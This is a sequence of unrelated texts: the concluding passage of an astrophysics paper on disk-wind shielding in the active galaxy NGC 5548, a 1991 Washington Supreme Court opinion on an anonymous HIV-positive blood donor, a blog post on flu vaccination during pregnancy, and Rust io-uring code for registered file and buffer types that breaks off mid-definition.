Case 2 produces the emission-line holiday. In this scenario, the obscurer’s density increased only slightly above Case 1. When the ionization front appears, there are significant changes in the transmitted SED and the BLR follows these changes. These changes are independent of the observed far-ultraviolet continuum longward of 912 Å, so appear as a holiday.
One check of this model of the holiday is the $\sim 19\%$ deficit in EW observed by G16. A smaller deficit, $\sim 6\%$, was observed by [@Pei17] for H$\beta$. Figure \[f4\] shows that only small changes in the density $(\sim 8\%)$ are needed to produce this deficit. The change needed to produce the holiday is shown by the gray shaded area. Our model predicts the largest deficits for , , and EWs, with a smaller deficit for Ly$\alpha$ EW, and the smallest deficit for H$\beta$ EW. These predictions are in the same sense as the AGN STORM observations [G16 & @Pei17].
1[Mg II was not observed by the STORM campaign, however we report this line for future reference. The line is nearly constant when the obscurer is in Case 1 while in Case 2 it is slightly affected. This is reasonable, since we do not expect such a low-ionization line to be affected as much as or other similar lines.]{}
- Case 3: In this case, the obscurer has the highest density ($>4\times 10^{10}$ cm$^{-3}$) and most of the ionizing radiation is blocked. As Figure \[f4\] shows, many of the broad emission lines vanish. A dense equatorial obscurer provides a scenario to produce a “changing-look” quasar, transitioning from Seyfert 1 to Seyfert 2. Figure \[f5\] compares the optical/UV BLR spectrum for Cases 1 and 3. The upper panel shows that UV broad lines are suppressed by the dense equatorial obscurer. The optical lines in the lower panel almost disappear. This Figure suggests that dense disk winds could contribute to the changing-look AGN phenomenon, since changes in the equatorial obscurer can cause transitions between Seyfert 1 and 2 without affecting the optical / UV continuum. The LOS obscurer, if present, is transparent at those wavelengths. 2[This would remove BLR emission during times when the black hole remained active, a different form of the changing-look phenomenon.]{}
{width="\textwidth"}
Discussion and summary
======================
Various types of winds are commonly seen in AGN. They launch from inner regions of the disk, so the geometry shown in Figure \[f1\] might be typical, but usually in the transparent state (Case 1). A nearly fully ionized wind does not have a dramatic effect on the SED or lines.
The observed holiday corresponds to a temporary change in the density of the wind. We suggests that 2[wind shielding]{} is usually happening, but for most of the time we just do not notice it, because the wind is transparent. Such shadowing can be the missing ingredient in many AGN models.
Our model requires that the normal state of the equatorial obscurer is one where the ionization front is near the outer radius of the 1[wind]{}. The ionization-front location depends on 1[the wind’s]{} parameters. This variation greatly affects the transmitted SED, as the wind density changes. The original [@Kaastra14] model of the LOS obscurer ($\log U\approx-2.8$ or $\log \xi=-1.2$ erg cm s$^{-1}$ ) has an H ionization-front and strong absorption at the Lyman limit [@Arav15]. Later [@Cappi16] proposed $\log U\approx-1$ ($\log \xi=0.5-0.8$ erg cm s$^{-1}$ ) for the LOS obscurer, and our tests show that this obscurer transmits the Lyman continuum, corresponding to the blue line2[, Case 2,]{} in Figure 3. This shows it is likely that the physical state of the equatorial obscurer is such that the H, He ionization fronts are near the outer edge of the 1[wind]{} so that small changes in the model affect its location. This is why small changes in the obscurer’s density (Figure \[f4\]) can produce significant changes in the SED and result in the holiday.
This model appears fine-tuned since it is sensitive to the location of the ionization front. But this geometry has a physical motivation from dynamical stability arguments. [@Math77] point out that radiatively driven clouds become Rayleigh-Taylor unstable near ionization fronts so that the cloud tends to truncate at that point. This happens because 1[the Lyman continuum]{} radiative acceleration depends on the ion density, so falls precipitously when the gas recombines. This instability provides a natural explanation for why the obscurer tends to have an ionization front near its outer edge.
Although this paper discusses the emission-line holiday, a simultaneous holiday happened for higher-ionization narrow absorption lines [@Kriss19 D19]. D19 show that changes in the CF of the LOS obscurer could be responsible for the absorption-line holiday. This obscurer is part of the same wind that produces the equatorial obscurer. 2[The density of the equatorial obscurer, the base of the wind, might change because of instabilities in the flow]{}. This produces the emission-line holiday, as shown in Figure \[f4\]. At the same time, it seems likely that injecting more mass from the base of the wind into our LOS causes the wind to produce a substantial flow and larger 1[wind]{}. This produces a larger CF for the LOS obscurer, producing the absorption-line holiday. So, a denser equatorial obscurer results in a more extensive LOS obscurer. In other words, the emission and absorption-line holidays are unified by the structure of the wind. This is the first physical model of the holidays observed in NGC 5548, and the relationship between them.
As Figures \[f3\] shows, the SED transmitted through Case 2 is stronger than Case 1 for 1[energies $\lesssim$ 1 eV. In Case 3, the SED is stronger than Case 1 for energies $\lesssim$ 5 eV. The emission is mainly due to hydrogen radiative recombination in the optical and NIR and 2[Bremsstrahlung]{} in the IR.]{} These show that a dense equatorial obscurer can be a source of 2[continuum]{}, even in Case 2. Such emission could explain 2[the significant thermal diffuse continuum component spanning the entire UV–optical–near IR continuum”]{} discussed in [@Goad19] and may be the source of the non-disk optical continuum emission discussed by [@Ferland90], [@Shi95], and [@Chel19]. The BLR itself is also a source of non-disk continuum emission [@Korista01].
To summarize, we have demonstrated, for the first time, a physical model by which several different phenomena are unified by the presence of the disk wind: an absorption-line holiday, an emission-line holiday, non-disk emission from the inner regions, and a contributor to the changing-look phenomenon. This shows the importance of 2[“wind shielding”]{} , in which a wind partially blocks the continuum ionizing other clouds. Large CF required by previous models (e.g @Korista00 [@Kaspi99; @Goad93]) supports the idea the 2[“wind shielding”]{} is likely. It may be the missing ingredient in understanding many AGN phenomena.
1[We came to a model in which an intervening obscurer filters the continuum striking emission and absorption line cloud after consideration of how they respond to changes during the STORM campaign. Many papers have considered cloud shadowing as an appropriate explanation for very different observations. [@Mur95]’s study of accretion disk winds from AGN found that a dense gas could block the soft X-ray and transmit UV photons. Shielding permits wind acceleration to high velocities. This wind produces smooth line profiles and has a covering fraction of $10\%$. [@Lei04], suggested a wind model in which the continuum filtered through the wind would better fit her models of BLR emission. Finally, [@Shem15] reproduced the Baldwin effect by use of such filtering. As the STORM campaign demonstrated, and these previous investigation suggested, cloud shadowing is a key ingredient in the physics of inner regions of AGN and must be considered in future studies.]{}
2[We thanks the anonymous reviewer for their very careful comments on our paper. ]{}Support for [*HST*]{} program number GO-13330 was provided by NASA through a grant from the Space Telescope Science Institute, which is operated by the Association of Universities for Research in Astronomy, Inc., under NASA contract NAS5-26555.We thank NSF (1816537), NASA (ATP 17-0141), and STScI (HST-AR.13914, HST-AR-15018) for their support and Huffaker scholarship for funding the trip to Atlanta to attend the annual AGN STORM meeting, 2017. MC acknowledges support from NASA through STScI grant HST-AR-14556.001-A and STScI grant HST-AR-14286, 1[and also support from National Science Foundation through grant AST-1910687]{}. M.D. and G.F. and F. G. acknowledge support from the NSF (AST-1816537), NASA (ATP 17-0141), and STScI (HST-AR-13914, HST-AR-15018), and the Huffaker Scholarship. B.M.P. and G.D.R. are grateful for the support of the National Science Foundation through grant AST-1008882 to The Ohio State University. M.M. is supported by the Netherlands Organization for Scientific Research (NWO) through the Innovational Research Incentives Scheme Vidi grant 639.042.525.
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[^1]: Locally optimally emitting clouds
[^2]: We refer to the region 6 – 13.6 eV (912Å to 2000Å) as FUV; 13.6 – 54.4 eV (228Å to 912Å) as EUV; and 54.4 eV to few hundred eV (less than 228Å) as XUV.
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117 Wn.2d 619 (1991)
818 P.2d 1056
VIRGIL T. HOWELL, ET AL, Appellants,
v.
SPOKANE & INLAND EMPIRE BLOOD BANK, ET AL, Respondents.
No. 56642-9.
The Supreme Court of Washington, En Banc.
October 31, 1991.
John P. Lynch, for appellants Howell.
Randall & Danskin, P.S., by Michael J. Myers and Keith D. Brown, for respondent Spokane & Inland Empire Blood Bank.
Paine, Hamblen, Coffin, Brooke & Miller, by John C. Riseborough, for respondents John and Jane Doe X.
*621 Bryan P. Harnetiaux and Robert H. Whaley on behalf of Washington State Trial Lawyers Association, amicus curiae for appellants.
Heather Houston and Sam Pailca on behalf of Washington Defense Trial Lawyers Association; Kenneth A. Letzler, Karen S. Wagner, Karen Shoos Lipton, Steven Labensky, and David M. Jacobi on behalf of the American National Red Cross, American Association of Blood Banks, and Council of Community Blood Banks; Robert J. Rohan on behalf of The Northwest AIDS Foundation; Stephen K. Causseaux, Jr., on behalf of Tacoma-Pierce County Health Department; Andrew K. Dolan on behalf of the Washington State Medical Association, amici curiae for the blood banks.
DORE, C.J.
Blood recipient Virgil Howell (Howell)[1] appeals the trial court's summary judgment order dismissing his claims against a donor (John Doe X) of allegedly HIV-positive blood transfused into him. Howell also appeals a discovery order providing that the donor's identifying information be kept confidential until greater need could be demonstrated and one providing that Howell be allowed to take only an anonymous, videotaped deposition of John Doe X rather than a face-to-face deposition. We affirm.
FACTS
The facts relevant to this appeal are as follows. On October 1, 1984, before blood screening tests for AIDS were available, John Doe X made a voluntary blood donation at respondent Spokane and Inland Empire Blood Bank (SIEBB). At that time, SIEBB was routinely asking donors to self-screen and to refrain from donating blood if they were members of any high-risk group, which groups SIEBB identified to donors.
*622 On October 8, 1984, appellant Virgil Howell received two units of blood at Deaconess Medical Center. The blood was provided to Deaconess by SIEBB. One of the units had been provided to SIEBB by John Doe X.
Two years later, in August of 1986, John Doe X again donated blood. At that time, blood screening tests were available to detect antibodies to the HIV virus, which is known to cause AIDS. John Doe X's donation was tested and found to contain such antibodies, and SIEBB notified John Doe X of the test results. Both John Doe X and Howell presently test seropositive.[2]
On December 4, 1987, Howell sued SIEBB, John Doe X, and others on a number of theories. On August 5, 1988, before John Doe X appeared in the action, the trial judge ruled orally that SIEBB must disclose John Doe X's identity. John Doe X then appeared and moved for reconsideration of the order. The trial judge reversed and ruled that discovery could proceed through interrogatories, requests for production of documents, and depositions upon written questions, but the identity of John Doe X would remain confidential. If the initial round of discovery indicated a need for disclosure of John Doe X's name, a motion for disclosure could be brought at that time. If disclosure of John Doe X's identity was indicated, it would be provided to only one of Howell's counsel and to no one else absent *623 court order. None of John Doe X's relatives or acquaintances could be contacted without court order. Finally, John Doe X's identity would not be placed in the record of the court until after a final judgment was obtained.
Following the entry of this order, Howell was provided 10 years' worth of John Doe X's and his wife's medical records and their dental records. Howell has deposed John Doe X's wife, his treating physician, and a physician who has counseled John Doe X. John Doe X has also answered 19 interrogatories propounded to him by Howell and 80 by SIEBB. Although John Doe X desired to have his deposition taken by written question, Howell was allowed to conduct a videotaped deposition with John Doe X's face obscured so Howell and his counsel could observe John Doe X's body language. This deposition lasted 5 hours. John Doe X testified that he is not a member of a high-risk group, and that his alleged exposure to the AIDS virus must have happened during a separation from his wife in 1982, during which period he had vaginal sex with one woman three times. John Doe X's physician testified that the likelihood of a casual heterosexual contact resulting in the transmission of AIDS is remote.
John Doe X also testified that before he made the 1984 blood donation, he read a handout given him by SIEBB entitled "An Important Message to All Blood Donors". This handout identified high-risk groups and asked members of those groups to refrain from donating blood. A copy of John Doe X's donor card, which lists, among other things, his weight, blood pressure, and pulse was produced by SIEBB. However, the medical questionnaire that is routinely given to donors was not produced because SIEBB claimed it was unavailable.
On October 12, 1989, the trial judge granted summary judgment of dismissal of Howell's claims against John Doe X for negligence, res ipsa loquitur, negligent infliction of emotional distress, outrage, assault, and loss of consortium. Howell appeals the entry of this summary judgment, *624 the order preventing John Doe X's face-to-face deposition, and the discovery order preventing disclosure of John Doe X's identity.
ANALYSIS
I
[1] We begin our analysis by noting that Howell's brief suffers from the same flaw that plagued him on his earlier appeal: although he makes numerous assignments of error, not all are supported by legal argument and authority. If a party fails to support assignments of error with legal arguments, they will not be considered on appeal. Schmidt v. Cornerstone Invs., Inc., 115 Wn.2d 148, 795 P.2d 1143 (1990); Howell v. Spokane & Inland Empire Blood Bank, 114 Wn.2d 42, 46, 785 P.2d 815 (1990 (Howell I). Howell assigns error to the trial court's grant of summary judgment dismissing Howell's claims of negligence, res ipsa loquitur, negligent infliction of emotional distress, outrage, assault, and loss of consortium. However, he discusses only the negligence claim, and that only in his reply brief. Thus, we will not address these other claims on this appeal, and the summary judgment is affirmed to the extent it dismisses claims other than negligence.
II
[2] On a summary judgment motion, the moving party bears the initial burden of showing the absence of an issue of material fact. Young v. Key Pharmaceuticals, Inc., 112 Wn.2d 216, 225, 770 P.2d 182 (1989) (citing LaPlante v. State, 85 Wn.2d 154, 158, 531 P.2d 299 (1975)). A moving defendant may meet this burden by showing that there is an absence of evidence to support the nonmoving party's case. 112 Wn.2d at 225 (citing Celotex Corp. v. Catrett, 477 U.S. 317, 325, 91 L.Ed.2d 265, 106 S.Ct. 2548 (1986)). John Doe X provides a detailed discussion of each cause of action raised by Howell and the lack of evidence to support it. However, because we have disposed of Howell's other causes of action, we will focus only on his claim of negligence. *625 John Doe X has met his initial burden with respect to Howell's negligence claim.
[3] After this showing is made, the burden shifts to the party with the burden of proof at trial, the plaintiff. The plaintiff must come forward with evidence sufficient to establish the existence of each essential element of its case. If this showing is not made:
[T]here can be `no genuine issue as to any material fact,' since a complete failure of proof concerning an essential element of the nonmoving party's case necessarily renders all other facts immaterial.
112 Wn.2d at 225 (quoting Celotex, 477 U.S. at 322-23). In that case, a summary judgment is properly granted.
[4] Thus, after John Doe X made his initial showing, Howell's burden was to come forward with evidence to establish the existence of each essential element of his negligence claim. One element Howell must establish is John Doe X's breach of a duty to refrain from donating blood in 1984. See Davis v. Globe Mach. Mfg. Co., 102 Wn.2d 68, 73, 684 P.2d 692 (1984). However, such a duty arose, if at all, only if John Doe X knew or should have known of his seropositivity at the time of the donation. See, e.g., Berner v. Caldwell, 543 So.2d 686, 689-90 (Ala. 1989); see generally Comment, AIDS Liability for Negligent Sexual Transmission, 18 Cum. L. Rev. 691 (1987-1988).
Howell has presented absolutely no evidence that John Doe X knew or should have known of his seropositivity when he donated blood in 1984. The only evidence offered on this issue is from John Doe X himself. He supported his summary judgment motion with his own and his counsel's affidavits, deposition testimony of Dr. Collins and Dr. Lehman, and by his responses to interrogatories promulgated by SIEBB and Howell. The gist of this evidence was that John Doe X was not a member of a high-risk group at the time of the donation and truthfully answered the questions asked him by the blood bank staff, he has never shown any *626 signs or symptoms of AIDS, and he did not know of his seropositivity at the time of the donation. This evidence went completely uncontradicted by Howell and, in fact, Howell's counsel conceded at oral argument Howell's inability to prove John Doe X's knowledge of his seropositivity at the time of the blood donation.
Because of Howell's failure to come forward with evidence on an essential element of his case, we would normally decide at this point that the summary judgment was properly granted by the trial court. However, Howell nevertheless claims that summary judgment was improperly granted because: (1) he raised an issue as to John Doe X's credibility; and (2) the facts about John Doe X's knowledge or lack thereof were completely within John Doe X's control and he had no access to them. With respect to this second claim, Howell apparently argues he could have presented evidence to withstand the motion had he been given access to John Doe X's name. We will address these arguments.
III
Howell contends the summary judgment was improperly granted because he raised an issue of fact regarding John Doe X's credibility. Howell points to the fact that John Doe X had sex with a woman while separated from his wife, he did not immediately disclose his seropositive test results and a herpes zoster (shingles) diagnosis to his wife, and he never informed his dentist of the HIV-test results.
[5] This argument is not convincing. It is true that a court should not resolve a genuine issue of credibility at a summary judgment hearing. Amend v. Bell, 89 Wn.2d 124, 129, 570 P.2d 138, 95 A.L.R.3d 225 (1977). An issue of credibility is present only if the party opposing the summary judgment motion comes forward with evidence which contradicts or impeaches the movant's evidence on a material issue. Dunlap v. Wayne, 105 Wn.2d 529, 536-37, 716 P.2d 842 (1986). A party may not preclude summary *627 judgment by merely raising argument and inference on collateral matters:
[T]he party opposing summary judgment must be able to point to some facts which may or will entitle him to judgment, or refute the proof of the moving party in some material portion, and that the opposing party may not merely recite the incantation, "Credibility," and have a trial on the hope that a jury may disbelieve factually uncontested proof.
Amend, 89 Wn.2d at 129 (plaintiff did not raise an issue of credibility about defendant's testimony regarding the scope of his employment by arguing that there were weaknesses in his testimony concerning speed and intoxication) (quoting Rinieri v. Scanlon, 254 F. Supp. 469, 474 (S.D.N.Y. 1966)).
Howell's attempts to portray John Doe X as generally untrustworthy do not raise an issue of credibility as to a material fact. John Doe X has offered evidence that he did not have reason to believe he should not be donating blood in 1984. Howell has presented no facts inconsistent with this evidence. See Dunlap, 105 Wn.2d at 536-37 (suggested inference does not qualify as evidence). When or if John Doe X told, his wife or dentist of his seropositive test results is irrelevant. This argument is without merit.
IV
Howell argues alternatively that summary judgment was improperly granted because the facts regarding John Doe X's state of mind at the time he donated blood are uniquely within John Doe X's control.
[6] A party appealing a summary judgment because he has allegedly not been permitted to conduct adequate discovery must indicate what relevant evidence he expects the additional discovery would provide. In other words, he must prove that he has been prejudiced by the summary judgment order. See Parish v. Howard, 459 F.2d 616, 619-20 (8th Cir.1972); see also Illinois State Employees Union, Coun. 34 v. Lewis, 473 F.2d 561, 565 n. 8 (7th Cir. *628 1972) (citing Washington v. Cameron, 411 F.2d 705, 711 (D.C. Cir.1969) (although party opposing summary judgment motion must be permitted ample discovery, it is incumbent on such party to demonstrate that inquiry is directed toward establishing material facts and that, upon receipt of such facts, he will be armed to defend against motion)), cert. denied, 410 U.S. 928 (1973).
Howell has failed to demonstrate that he was in any way prejudiced in his discovery by not knowing John Doe X's true identity. At the time he sought disclosure of John Doe X's identity, Howell had already been permitted to conduct extensive discovery. By the time the summary judgment motion was set for hearing, Howell had obtained over 10 years' worth of John Doe X's and his wife's medical records and their dental records. He had deposed John Doe X for over 5 hours, and he had also deposed John Doe X's wife, his treating physician, Dr. Collins, and Dr. Lehman, who had counseled John Doe X. John Doe X had answered 19 interrogatories propounded by Howell and 80 interrogatories propounded by SIEBB.
Even with this extensive discovery, however, Howell was unable to uncover a scintilla of evidence indicating that John Doe X donated blood at a time when he should have known not to. He still has not indicated what relevant evidence he expects to discover if allowed access to John Doe X's name and, thus, has not established that he has been prejudiced by the trial court's order. In sum, Howell's argument that summary judgment was improperly granted because he was denied the opportunity to conduct full discovery is without merit.
Donor John Doe X has a significant interest in avoiding intrusion into his private life. Because the HIV virus is known to be transmitted through sexual contact, intravenous drug use, and blood transfusions, Howell would undoubtedly wish to ask highly personal questions of John Doe X's relatives, friends, co-workers, and others. *629 In addition, persons associated with AIDS are known to suffer discrimination in employment, education, housing, and even medical treatment. See Rasmussen v. South Fla. Blood Serv., Inc., 500 So.2d 533, 537, 56 A.L.R.4th 739 (Fla. 1987).
Blood recipient Howell has a legitimate interest in being compensated for his injuries. Howell is an asymptomatic carrier of the virus, who may never develop the disease. However, he must continue to live with the knowledge that he may someday develop AIDS and suffer a terrible death from the disease.
[7] Under CR 26(c), a judge is given broad discretion in fashioning discovery orders in order to protect a person's privacy. The trial judge did so here by allowing limited disclosure of the donor's name subject to a strict confidentiality order. The confidentiality order will expire only if the judge determines, after further discovery, that the recipient has made a prima facie case of the donor's negligence. At this point, discovery is just beginning.
[8] At this point in the proceedings, Howell is not entitled to discover John Doe X's identity. As already discussed, Howell has failed to demonstrate that he was in any way prejudiced by the trial court order denying him access to donor John Doe X's true identity. The trial court has permitted Howell to undertake extensive discovery and Howell still has not come forward with any evidence of John Doe X's negligence. Moreover, the discovery order of the trial court is reviewable only for an abuse of discretion, see State v. Lewis, 115 Wn.2d 294, 797 P.2d 1191 (1990) (no abuse of discretion unless no reasonable person would have decided the way the judge did).
The trial court in the instant case foresaw a "fishing expedition" and protected the donor by requiring a greater showing of entitlement before allowing discovery of the donor's name. When Howell was unable to make this showing, his case was dismissed. We cannot say the *630 discovery order or the summary judgment was improperly granted. The trial court did not abuse its discretion in refusing Howell's discovery request.
V
The final argument Howell makes is that the trial court erred by ordering the videotaped deposition of John Doe X with his face obscured, instead of the face-to-face deposition requested by Howell. This argument is also without merit. As we have already noted, the trial court has broad discretion to fashion discovery orders, and these orders are reviewable only for an abuse of discretion. See CR 26(c); Progressive Animal Welfare Soc'y v. UW, 114 Wn.2d 677, 688-89, 790 P.2d 604 (1990).
The order of the trial court accommodated both Howell's stated interest in observing John Doe X's "body language" and John Doe X's privacy interest. Moreover, there is no evidence that John Doe X's testimony would have revealed anything more had he not been blindfolded. This order was within the trial court's discretion.
CONCLUSION
We affirm. Howell's attempt to raise an issue as to John Doe X's credibility is without merit. He has not indicated what evidence he believes he could uncover if permitted disclosure of John Doe X's identity. In light of the extensive discovery Howell has already performed, it was incumbent upon him to demonstrate that disclosure of John Doe X's identity would enable him to defend against the summary judgment motion. This he did not do.
The summary judgment and discovery orders are affirmed.
UTTER, BRACHTENBACH, DOLLIVER, DURHAM, and SMITH, JJ., and CALLOW, J. Pro Tem., concur.
ANDERSEN, J., concurs in the result.
Reconsideration denied February 28, 1992.
NOTES
[1] "Howell" will be used to refer to both Virgil Howell and his wife, who has joined in this action.
[2] There are three gradations of HIV infection. The first is seropositivity, which means one has tested positive for the presence of antibodies to the virus but is asymptomatic. Seropositive carriers appear totally healthy but are capable of transmitting the virus and are vulnerable to developing AIDS. The second is AIDS-related complex (ARC), which is a lesser form of AIDS; it is infectious but not life threatening. The final gradation is AIDS, which to this date is always fatal. Comment, Blood Donation: A Gift of Life or a Death Sentence?, 22 Akron L. Rev. 623, 626-27 (1989).
For every person with AIDS, there are probably 60 to 70 seropositive healthy carriers. 22 Akron L. Rev. at 623, 626 (citing Comment, The Constitutional Implications of Mandatory Testing for Acquired Immunodeficiency Syndrome AIDS, 37 Emory L.J. 217 (1988)). Of these healthy carriers, researchers estimate that 5 to 30 percent will develop AIDS over the next 5 to 7 years. 22 Akron L. Rev. at 623, 626 (citing Note, AIDS: Legal Issues in Search of a Cure, 14 Wm. Mitchell L. Rev. 575, 586-87 (1988)).
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The "Flu" and Pregnancy: Get Smart, Get Vaccinated NOW
Well, the flu season is underway, and every pregnant woman wants to know, “Should I get the flu shot?” The simple answer is “YES (with few exceptions),” no matter how early or far along you are in your pregnancy, and the optimal time to receive the vaccine is now, during October and November (Obstet Gynecol. 2004;104:1125-6).
During an average flu season (October-May; peak December-March) in the U.S., 10-20% of individuals will contract the virus that causes the flu, 20-40,000 will die from it, and about 300,000 will be hospitalized due to complications. The flu is spread via the respiratory route by coughing, sneezing, and even speaking, and by self-inoculation from contact with surfaces that have been contaminated with respiratory tract fluids from an infected individual. Not every “cold” people get during the flu season is actually the result of infection with the influenza virus. There are MANY other “cold” viruses. Influenza usually causes a more severe illness than many of these and is often associated with high fever, headache, sore throat, cough (usually ‘dry’ and ‘nonproductive’), extreme fatigue, and muscle aches. Occasionally, people will have nausea, vomiting, and diarrhea as well, but these are not really typical of the flu, especially in adults.
Pregnant women are no more likely to contract the virus than other women, but they are more susceptible to developing more complicated infections, including influenza pneumonia, that may require hospitalization for respiratory compromise, high fever, and dehydration, as well as more serious complications associated with superimposed bacterial pneumonia. The latter was first recognized during the Great Flu (“Spanish flu”) Pandemic of 1918 that claimed 20-40,000,000 people worldwide. Indeed, it is now thought that many of these deaths were related to secondary infections with Staphylococcus aureus and not Streptococcus pneumonia, the more common cause of ‘milder’ bacterial pneumonia. This is a frightening prospect as this and future flu seasons loom because of the increasing prevalence of antibiotic-resistant Staphylococcus (MRSA) in the community (see my recent post “Postmortem Postscript: Staphylococcal Pneumonia”).
In 2004, the U.S. Advisory Committee on Immunization Practices (ACIP) recommended for the first time that all pregnant women annually receive the heat-inactivated (no live virus) trivalent influenza vaccine. This vaccine varies each year depending on the strains of the flu virus that are anticipated for the upcoming season. The influenza virus frequently ‘mutates’ so that even if you have had the flu before, you may not be immune to this year’s varieties. When the correct strains are chosen for vaccine production, it is estimated that both hospitalization and death among young, healthy recipients are reduced by 70-90%. It is not recommended that pregnant women take the live attenuated virus vaccine (LAIV).
It is especially important that you get the vaccine if you are pregnant and have medical conditions (diabetes, HIV, autoimmune disorders, organ transplant patients) that are accompanied by some degree of immunocompromise (by virtue of either the disease or the treatment), chronic lung disease (asthma, COPD, tobacco abuse), or anemia. Despite the recommendations, proven safety, and benefits of the flu vaccine, in recent studies generally less than 10% of pregnant women actually received the vaccine. The most common reason cited for this was “maternal concern” regarding vaccine safety for themselves and their babies (Naleway AL, et. al., Epidemiol Rev. 2006;28:47-53). However, this may also be the consequence of providers not doing their share in providing good information to their patients. A recent survey of OB/GYNs practicing in the U.S. revealed that only half would offer the flu vaccine to their pregnant patients in first trimester and more than one-third did not offer it at all in their practices (MMWR Morb Mortal Wkly Rep. 2005;54:1050-2).
The flu vaccine will not give you the flu. Some individuals will be sore at the site of injection (usually the deltoid muscle) and may even run a very low grade fever as their immune system mounts a response to the vaccine, but this is uncommon. Even if you have gotten the vaccine, and it was selected correctly for the strain of flu that season, you might still get the flu. However, symptoms are usually much milder and it is very unlikely that you will develop influenza pneumonia, require hospitalization, or die from the disease. A milder case of the flu probably reduces the risks to your baby as well. The vaccine also will not protect you from other viruses that can cause “colds” during flu season.
Contraindications to receiving the vaccine include allergies to chicken eggs (in which the vaccine is produced), thimerosal (preservative containing a small amount of mercury), and a history of allergic reaction to a flu vaccine in the past. You should also not get the vaccine in the rare event that you are the 1 in a million patient who suffered a condition called Giuillain-Barré Syndrome within 6 weeks of having previously received a flu vaccine. The vaccine during pregnancy is probably safer than waiting and relying on the use of drugs that might be used to treat an influenza infection once it is established.
The flu virus itself does not cross the placenta and infect the baby. However, maternal infection with the virus can be associated with fetal complications, particularly if contracted in the first trimester, as well as preterm labor and low birth-weight. Fetal anomalies are probably associated with maternal fever (hyperthermia), and perhaps inflammatory substances produced by the immune system in response to the organism, during the period of fetal organogenesis. The consequences of fever depend on the extent and duration of temperature elevation and the stage of fetal development when it occurs.
In experimental animals, hyperthermia has been shown to cause fetal abnormalities such as neural tube defects, small brains (micrencephaly), small eyes (microphthalmia), cataracts, facial clefts, skeletal, and heart abnormalities, among many others, as well as behavioral problems (Edwards MJ. Birth Defects Res A Clin Mol Teratol. 2006;76:507-16). Nearly all of these have been found in epidemiological studies following maternal fever during pregnancy. A recent study confirmed a higher prevalence of facial clefting, neural tube defects, and heart abnormalities among babies whose mothers had the flu during the 2nd and 3rd months of pregnancy (Acs N. Birth Defects Res A Clin Mol Teratol. 2006;73:989-96). There is some suggestion that the developing brain and nervous system might be sensitive to hyperthermia even beyond first trimester. Several studies have shown behavioral problems and, possibly, an increased risk for schizophrenia among offspring of women who have had the flu during pregnancy.
So, if you are pregnant, get the flu vaccine, encourage other family members to be vaccinated as well, avoid other people who may have the flu, wash your hands often when in ‘public places,’ and try not to touch your eyes, nose, and mouth when you have come in contact with surfaces that have a high risk of contamination! And, if you do get the flu, make sure you let your provider know, especially if you run a high fever, develop a ‘productive’ cough, or have any respiratory difficulties whatsoever….
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use std::io;
use std::ops::*;
use std::os::unix::io::{AsRawFd, RawFd};
use crate::SQE;
pub const PLACEHOLDER_FD: RawFd = -1;
/// A member of the kernel's registered fileset.
///
/// Valid `RegisteredFd`s can be obtained through a [`Registrar`](crate::registrar::Registrar).
///
/// Registered files handle kernel fileset indexing behind the scenes and can often be used in place
/// of raw file descriptors. Not all IO operations support registered files.
///
/// Submission event prep methods on `RegisteredFd` will ensure that the submission event's
/// `SubmissionFlags::FIXED_FILE` flag is properly set.
pub type RegisteredFd = Registered<RawFd>;
pub type RegisteredBuf = Registered<Box<[u8]>>;
pub type RegisteredBufRef<'a> = Registered<&'a [u8]>;
pub type RegisteredBufMut<'a> = Registered<&'a mut [u8]>;
/// An object registered with an io-uring instance through a [`Registrar`](crate::Registrar).
#[derive(Copy, Clone, Eq, PartialEq, Hash, Ord, PartialOrd)]
pub struct Registered<T> {
data: T,
index: u32,
}
impl<T> Registered<T> {
pub fn new(index: u32, data: T) -> Registered<T> {
Registered { data, index }
}
pub fn index(&self) -> u32 {
self.index
}
pub fn into_inner(self) -> T {
self.data
}
}
impl RegisteredFd {
pub fn is_placeholder(&self) -> bool {
self.data == PLACEHOLDER_FD
}
}
impl AsRawFd for RegisteredFd {
fn as_raw_fd(&self) -> RawFd {
self.data
}
}
impl RegisteredBuf {
pub fn as_ref(&self) -> RegisteredBufRef<'_> {
Registered::new(self.index, &self.data[..])
}
pub fn as_mut(&mut self) -> RegisteredBufMut<'_> {
Registered::new(self.index, &mut self.data[..])
}
pub fn slice(&self, range: Range<usize>) -> RegisteredBufRef<'_> {
Registered::new(self.index, &self.data[range])
}
pub fn slice_mut(&mut self, range: Range<usize>) -> RegisteredBufMut<'_> {
Registered::new(self.index, &mut self.data[range])
}
pub fn slice_to(&self, index: usize) -> RegisteredBufRef<'_> {
Registered::new(self.index, &self.data[..index])
}
pub fn slice_to_mut(&mut self, index: usize) -> RegisteredBufMut<'_> {
Registered::new(self.index, &mut self.data[..index])
}
pub fn slice_from(&self, index: usize) -> RegisteredBufRef<'_> {
Registered::new(self.index, &self.data[index..])
}
pub fn slice_from_mut(&mut self, index: usize) -> RegisteredBufMut<'_> {
Registered::new(self.index, &mut self.data[index..])
}
}
impl<'a> RegisteredBufRef<'a> {
pub fn as_ref(&self) -> RegisteredBufRef<'_> {
Registered::new(self.index, &self.data[..])
}
pub fn slice(self, range: Range<usize>) -> RegisteredBufRef<'a> {
Registered::new(self.index, &self.data[range])
}
pub fn slice_to(&self, index: usize) -> RegisteredBufRef<'_> {
Registered::new(self.index, &self.data[..index])
}
pub fn slice_from(&self, index: usize) -> RegisteredBufRef<'_> {
Registered::new(self.index, &self.data[index..])
}
}
impl<'a> RegisteredBufMut<'a> {
pub fn as_ref(&self) -> RegisteredBufRef<'_> {
Registered::new(self.index, &self.data[..])
}
pub fn as_mut(&mut self) -> RegisteredBufMut<'_> {
Registered::new(self.index, &mut self.data[..])
}
pub fn slice(self, range: Range<usize>) -> RegisteredBufRef<'a> {
Registered::new(self.index, &self.data[range])
}
pub fn slice_mut(self, range: Range<usize>) -> RegisteredBufMut<'a> {
Registered::new(self.index, &mut self.data[range])
}
pub fn slice_to(&self, index: usize) -> RegisteredBufRef<'_> {
Registered::new(self.index, &self.data[..index])
}
pub fn slice_to_mut(&mut self, index: usize) -> RegisteredBufMut<'_> {
Registered::new(self.index, &mut self.data[..index])
}
pub fn slice_from(&self, index: usize) -> RegisteredBufRef<'_> {
Registered::new(self.index, &self.data[index..])
}
pub fn slice_from_mut(&mut self, index: usize) -> RegisteredBufMut<'_> {
Registered::new(self.index, &mut self.data[index..])
}
}
impl Deref for RegisteredBuf {
type Target = [u8];
fn deref(&self) -> &[u8] {
&self.data[..]
}
}
impl Deref for RegisteredBufRef<'_> {
type Target = [u8];
fn deref(&self) -> &[u8] {
&self.data[..]
}
}
impl Deref for RegisteredBufMut<'_> {
type Target = [u8];
